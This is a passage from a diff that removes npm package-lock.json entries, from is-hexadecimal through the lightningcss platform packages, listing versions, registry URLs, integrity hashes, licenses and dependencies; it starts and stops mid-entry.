"2.0.1", - "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", - "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-map": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", - "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-negative-zero": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz", - "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-node-process": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/is-node-process/-/is-node-process-1.2.0.tgz", - "integrity": "sha512-Vg4o6/fqPxIjtxgUH5QLJhwZ7gW5diGCVlXpuUfELC62CuxM1iHcRe51f2W1FDy04Ai4KJkagKjx3XaqyfRKXw==", - "dev": true, - "license": "MIT" - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/is-number-object": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz", - "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "has-tostringtag": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-plain-obj": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", - "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-potential-custom-element-name": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/is-regex": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", - "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "gopd": "^1.2.0", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-set": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", - "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-shared-array-buffer": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", - "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-stream": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", - "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-string": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", - "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "has-tostringtag": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-symbol": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz", - "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "has-symbols": "^1.1.0", - "safe-regex-test": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-typed-array": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", - "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "which-typed-array": "^1.1.16" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-weakmap": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", - "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-weakref": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz", - "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-weakset": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz", - "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "get-intrinsic": "^1.2.6" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/isarray": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", - "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", - "dev": true, - "license": "MIT" - }, - "node_modules/isbinaryfile": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-5.0.7.tgz", - "integrity": "sha512-gnWD14Jh3FzS3CPhF0AxNOJ8CxqeblPTADzI38r0wt8ZyQl5edpy75myt08EG2oKvpyiqSqsx+Wkz9vtkbTqYQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 18.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/gjtorikian/" - } - }, - "node_modules/isbot": { - "version": "5.1.39", - "resolved": "https://registry.npmjs.org/isbot/-/isbot-5.1.39.tgz", - "integrity": "sha512-obH0yYahGXdzNxo+djmHhBYThUKDkz565cxkIlt2L9hXfv1NlaLKoDBHo6KxXsYrIXx2RK3x5vY36CfZcobxEw==", - "license": "Unlicense", - "engines": { - "node": ">=18" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true, - "license": "ISC" - }, - "node_modules/istanbul-lib-coverage": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", - "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=8" - } - }, - "node_modules/istanbul-lib-report": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", - "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "istanbul-lib-coverage": "^3.0.0", - "make-dir": "^4.0.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/istanbul-reports": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", - "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "html-escaper": "^2.0.0", - "istanbul-lib-report": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/iterator.prototype": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz", - "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "define-data-property": "^1.1.4", - "es-object-atoms": "^1.0.0", - "get-intrinsic": "^1.2.6", - "get-proto": "^1.0.0", - "has-symbols": "^1.1.0", - "set-function-name": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/jake": { - "version": "10.9.4", - "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz", - "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "async": "^3.2.6", - "filelist": "^1.0.4", - "picocolors": "^1.1.1" - }, - "bin": { - "jake": "bin/cli.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/jiti": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", - "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", - "license": "MIT", - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.2.0.tgz", - "integrity": "sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/puzrin" - }, - { - "type": "github", - "url": "https://github.com/sponsors/nodeca" - } - ], - "license": "MIT", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/jsdom": { - "version": "29.1.1", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.1.1.tgz", - "integrity": "sha512-ECi4Fi2f7BdJtUKTflYRTiaMxIB0O6zfR1fX0GXpUrf6flp8QIYn1UT20YQqdSOfk2dfkCwS8LAFoJDEppNK5Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@asamuzakjp/css-color": "^5.1.11", - "@asamuzakjp/dom-selector": "^7.1.1", - "@bramus/specificity": "^2.4.2", - "@csstools/css-syntax-patches-for-csstree": "^1.1.3", - "@exodus/bytes": "^1.15.0", - "css-tree": "^3.2.1", - "data-urls": "^7.0.0", - "decimal.js": "^10.6.0", - "html-encoding-sniffer": "^6.0.0", - "is-potential-custom-element-name": "^1.0.1", - "lru-cache": "^11.3.5", - "parse5": "^8.0.1", - "saxes": "^6.0.0", - "symbol-tree": "^3.2.4", - "tough-cookie": "^6.0.1", - "undici": "^7.25.0", - "w3c-xmlserializer": "^5.0.0", - "webidl-conversions": "^8.0.1", - "whatwg-mimetype": "^5.0.0", - "whatwg-url": "^16.0.1", - "xml-name-validator": "^5.0.0" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24.0.0" - }, - "peerDependencies": { - "canvas": "^3.0.0" - }, - "peerDependenciesMeta": { - "canvas": { - "optional": true - } - } - }, - "node_modules/jsdom/node_modules/lru-cache": { - "version": "11.5.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.1.tgz", - "integrity": "sha512-RPimw/7aMdv2oqRrxKwvZXcPfwBrn/JZ2xYcY9Hus/6LaS3VOAKVWKWgNLCFSiOm1ESXinjsDlidVU7JlnCN2A==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": "20 || >=22" - } - }, - "node_modules/jsesc": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.0.2.tgz", - "integrity": "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==", - "dev": true, - "license": "MIT", - "bin": { - "jsesc": "bin/jsesc" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-parse-even-better-errors": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", - "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-schema-to-ts": { - "version": "1.6.4", - "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-1.6.4.tgz", - "integrity": "sha512-pR4yQ9DHz6itqswtHCm26mw45FSNfQ9rEQjosaZErhn5J3J2sIViQiz8rDaezjKAhFGpmsoczYVBgGHzFw/stA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/json-schema": "^7.0.6", - "ts-toolbelt": "^6.15.5" - } - }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stringify-safe": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", - "dev": true, - "license": "ISC", - "optional": true - }, - "node_modules/json5": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - "dev": true, - "license": "MIT", - "bin": { - "json5": "lib/cli.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/jsonfile": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.1.tgz", - "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "universalify": "^2.0.0" - }, - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/jsx-ast-utils": { - "version": "3.3.5", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", - "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "array-includes": "^3.1.6", - "array.prototype.flat": "^1.3.1", - "object.assign": "^4.1.4", - "object.values": "^1.1.6" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/keyv": { - "version": "4.5.4", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", - "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", - "dev": true, - "license": "MIT", - "dependencies": { - "json-buffer": "3.0.1" - } - }, - "node_modules/kleur": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", - "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/kuler": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/kuler/-/kuler-2.0.0.tgz", - "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==", - "license": "MIT" - }, - "node_modules/language-subtag-registry": { - "version": "0.3.23", - "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz", - "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==", - "dev": true, - "license": "CC0-1.0" - }, - "node_modules/language-tags": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz", - "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==", - "dev": true, - "license": "MIT", - "dependencies": { - "language-subtag-registry": "^0.3.20" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/lazy-val": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/lazy-val/-/lazy-val-1.0.5.tgz", - "integrity": "sha512-0/BnGCCfyUMkBpeDgWihanIAF9JmZhHBgUhEqzvf+adhNGLoP6TaiI5oF8oyb3I45P+PcnrqihSf01M0l0G5+Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/lightningcss": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.32.0.tgz", - "integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==", - "license": "MPL-2.0", - "dependencies": { - "detect-libc": "^2.0.3" - }, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - }, - "optionalDependencies": { - "lightningcss-android-arm64": "1.32.0", - "lightningcss-darwin-arm64": "1.32.0", - "lightningcss-darwin-x64": "1.32.0", - "lightningcss-freebsd-x64": "1.32.0", - "lightningcss-linux-arm-gnueabihf": "1.32.0", - "lightningcss-linux-arm64-gnu": "1.32.0", - "lightningcss-linux-arm64-musl": "1.32.0", - "lightningcss-linux-x64-gnu": "1.32.0", - "lightningcss-linux-x64-musl": "1.32.0", - "lightningcss-win32-arm64-msvc": "1.32.0", - "lightningcss-win32-x64-msvc": "1.32.0" - } - }, - "node_modules/lightningcss-android-arm64": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz", - "integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==", - "cpu": [ - "arm64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-arm64": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz", - "integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==", - "cpu": [ - "arm64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-x64": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz", - "integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==", - "cpu": [ - "x64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-freebsd-x64": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz", - "integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==", - "cpu": [ - "x64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm-gnueabihf": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz", - "integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==", - "cpu": [ - "arm" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-gnu": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz", - "integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==", - "cpu": [ - "arm64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-musl": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz", - "integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==", - "cpu": [ - "arm64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-gnu": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz", - "integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==", - "cpu": [ - "x64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-musl": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz", - "integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==", - "cpu": [ - "x64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-arm64-msvc": { - "version": "1.32.0", - "resolved": 